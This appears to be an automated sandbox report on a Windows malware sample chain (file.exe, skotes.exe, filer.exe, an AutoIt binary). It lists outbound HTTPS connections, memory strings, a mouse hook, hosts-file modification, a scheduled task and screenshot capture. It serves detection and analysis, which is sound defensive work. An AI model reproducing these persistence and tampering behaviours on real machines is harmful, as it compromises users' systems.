Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 50159 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.7:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.7:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.7:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.146:443 -> 192.168.2.7:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.146:443 -> 192.168.2.7:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.7:49968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.153.209:443 -> 192.168.2.7:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.153.209:443 -> 192.168.2.7:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.153.209:443 -> 192.168.2.7:50148 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.153.209:443 -> 192.168.2.7:50154 version: TLS 1.2

Source: filer.exe, 0000001A.00000002.2806587118.00007FF7CAC2C000.00000002.00000001.01000000.0000000E.sdmp

Binary or memory string: DirectInput8Create

memstr_9c0a6963-b

Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe

Windows user hook set: 0 mouse low level C:\Windows\SYSTEM32\dinput8.dll

Source: filer.exe

Binary or memory string: dunsupported CFF versionunsupported charset: %qinvalid escape sequenceunknown empty width argRemoveFontMemResourceExSHGetSpecialFolderPathWRegisterRawInputDevicesGetEnvironmentVariableAGetLogicalDriveStringsAQueryPerformanceCounterSetConsoleTextAttributeTryEnt

Spam, unwanted Advertisements and Ransom Demands

Modifies the hosts file

Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe

File written: C:\Windows\System32\drivers\etc\hosts

System Summary

Binary is likely a compiled AutoIt script file

Source: 1623118d84.exe, 00000035.00000002.2983077245.0000000000E92000.00000002.00000001.01000000.0000001A.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_600558d1-b
Source: 1623118d84.exe, 00000035.00000002.2983077245.0000000000E92000.00000002.00000001.01000000.0000001A.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_4e27fdbd-b

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsBGIJJKKJJD.exe.0.dr	Static PE information: section name:
Source: DocumentsBGIJJKKJJD.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsBGIJJKKJJD.exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata
Source: skotes.exe.21.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process Stats: CPU usage > 49%
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Process Stats: CPU usage > 49%

Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	File created: C:\Windows\Tasks\skotes.job
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File created: C:\Windows\System32\screenshot_0.png

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDFECD0	0_2_6CDFECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD9ECC0	0_2_6CD9ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDAAC60	0_2_6CDAAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7AC30	0_2_6CE7AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE66C00	0_2_6CE66C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF2CDC0	0_2_6CF2CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDA4DB0	0_2_6CDA4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE36D90	0_2_6CE36D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE6ED70	0_2_6CE6ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CECAD50	0_2_6CECAD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF28D20	0_2_6CF28D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDAAEC0	0_2_6CDAAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE40EC0	0_2_6CE40EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE26E90	0_2_6CE26E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE3EE70	0_2_6CE3EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE80E20	0_2_6CE80E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7EFF0	0_2_6CE7EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDA0FE0	0_2_6CDA0FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE8FB0	0_2_6CEE8FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDAEFB0	0_2_6CDAEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE62F70	0_2_6CE62F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE0EF40	0_2_6CE0EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDA6F10	0_2_6CDA6F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE0F20	0_2_6CEE0F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA68E0	0_2_6CEA68E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE74840	0_2_6CE74840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE2A820	0_2_6CE2A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF0820	0_2_6CDF0820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBC9E0	0_2_6CEBC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD49F0	0_2_6CDD49F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE309A0	0_2_6CE309A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE5A9A0	0_2_6CE5A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE609B0	0_2_6CE609B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD8960	0_2_6CDD8960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF6900	0_2_6CDF6900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE1EA80	0_2_6CE1EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE1CA70	0_2_6CE1CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE58A30	0_2_6CE58A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE4EA00	0_2_6CE4EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA6BE0	0_2_6CEA6BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE40BA0	0_2_6CE40BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE64D0	0_2_6CDE64D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE3A4D0	0_2_6CE3A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CECA480	0_2_6CECA480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB8460	0_2_6CDB8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE04420	0_2_6CE04420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE2A430	0_2_6CE2A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE6A5E0	0_2_6CE6A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE2E5F0	0_2_6CE2E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD945B0	0_2_6CD945B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE02560	0_2_6CE02560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE40570	0_2_6CE40570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF8540	0_2_6CDF8540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA4540	0_2_6CEA4540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE8550	0_2_6CEE8550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE3E6E0	0_2_6CE3E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDC46D0	0_2_6CDC46D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDFE6E0	0_2_6CDFE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDFC650	0_2_6CDFC650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDCA7D0	0_2_6CDCA7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE20700	0_2_6CE20700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD98090	0_2_6CD98090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7C0B0	0_2_6CE7C0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB00B0	0_2_6CDB00B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDEE070	0_2_6CDEE070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE6C000	0_2_6CE6C000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE68010	0_2_6CE68010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDA01E0	0_2_6CDA01E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE08140	0_2_6CE08140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE16130	0_2_6CE16130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE84130	0_2_6CE84130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF262C0	0_2_6CF262C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE722A0	0_2_6CE722A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE6E2B0	0_2_6CE6E2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE28260	0_2_6CE28260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE38250	0_2_6CE38250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE78220	0_2_6CE78220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE6A210	0_2_6CE6A210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF43E0	0_2_6CDF43E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDFE3B0	0_2_6CDFE3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD23A0	0_2_6CDD23A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBC360	0_2_6CEBC360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE36370	0_2_6CE36370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDA8340	0_2_6CDA8340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE2370	0_2_6CEE2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDA2370	0_2_6CDA2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE12320	0_2_6CE12320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE61CE0	0_2_6CE61CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEDDCD0	0_2_6CEDDCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE3FC80	0_2_6CE3FC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDA3C40	0_2_6CDA3C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC9C40	0_2_6CEC9C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB1C30	0_2_6CDB1C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE71DC0	0_2_6CE71DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD93D80	0_2_6CD93D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE9D90	0_2_6CEE9D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE03D00	0_2_6CE03D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDC3EC0	0_2_6CDC3EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF25E60	0_2_6CF25E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEFBE70	0_2_6CEFBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEADE10	0_2_6CEADE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE4BFF0	0_2_6CE4BFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBDFC0	0_2_6CEBDFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF23FC0	0_2_6CF23FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDC1F90	0_2_6CDC1F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEF7F20	0_2_6CEF7F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD95F30	0_2_6CD95F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD5F20	0_2_6CDD5F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7F8F0	0_2_6CE7F8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEFB8F0	0_2_6CEFB8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE3F8C0	0_2_6CE3F8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDAD8E0	0_2_6CDAD8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD38E0	0_2_6CDD38E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE73840	0_2_6CE73840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDFD810	0_2_6CDFD810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD99D0	0_2_6CDD99D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE059F0	0_2_6CE059F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE379F0	0_2_6CE379F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE399C0	0_2_6CE399C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB1980	0_2_6CDB1980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE71990	0_2_6CE71990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE1F960	0_2_6CE1F960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE5D960	0_2_6CE5D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE55920	0_2_6CE55920
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEEF900	0_2_6CEEF900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDA1AE0	0_2_6CDA1AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7DAB0	0_2_6CE7DAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF29A50	0_2_6CF29A50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDDFA10	0_2_6CDDFA10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9DA30	0_2_6CE9DA30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE41A10	0_2_6CE41A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE7BF0	0_2_6CDE7BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE69BB0	0_2_6CE69BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD91B80	0_2_6CD91B80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE85B90	0_2_6CE85B90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF9BA0	0_2_6CDF9BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7FB60	0_2_6CE7FB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDEBB20	0_2_6CDEBB20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDA14E0	0_2_6CDA14E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF214A0	0_2_6CF214A0
